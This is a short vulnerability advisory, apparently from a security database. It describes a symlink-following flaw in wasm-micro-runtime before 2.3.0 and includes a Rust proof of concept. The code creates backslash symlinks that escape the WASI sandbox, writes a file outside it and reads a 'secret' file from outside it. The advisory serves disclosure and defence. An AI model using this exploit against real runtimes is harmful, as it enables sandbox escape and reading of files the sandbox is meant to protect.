UNIX Symbolic Link (Symlink) Following Affecting bytecodealliance/wasm-micro-runtime package, versions [,2.3.0)

Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following via the symlink creation process. An attacker can create or modify files outside of the intended sandboxed directory by creating a symlink that points to an external directory or file.

Note: This is only exploitable if the system is configured to allow symlink creation without proper validation.

use wasi::{Iovec, OFLAGS_CREAT, RIGHTS_FD_READ, RIGHTS_FD_WRITE};

fn main() {
    let base_fd = 3;

    unsafe {
        // Link containing backslash is ok.
        wasi::path_symlink("..\\f", base_fd, "l0").unwrap();
        // Link pointing to an existing file outside of sandbox.
        wasi::path_symlink("..\\secret", base_fd, "l1").unwrap();

        // Opening l0 creates a file outside of sandbox `f`.
        wasi::path_open(base_fd, 0, "l0", OFLAGS_CREAT, RIGHTS_FD_WRITE, 0, 0).unwrap();

        // Opening l1 opens an existing file outside of sandbox.
        let secret_fd = wasi::path_open(base_fd, 0, "l1", 0, RIGHTS_FD_READ, 0, 0).unwrap();
        let mut buf = [0u8; 32];
        let iovs = [Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        wasi::fd_read(secret_fd, &iovs).unwrap();

        println!("secret: {:?}", buf);
    }
}

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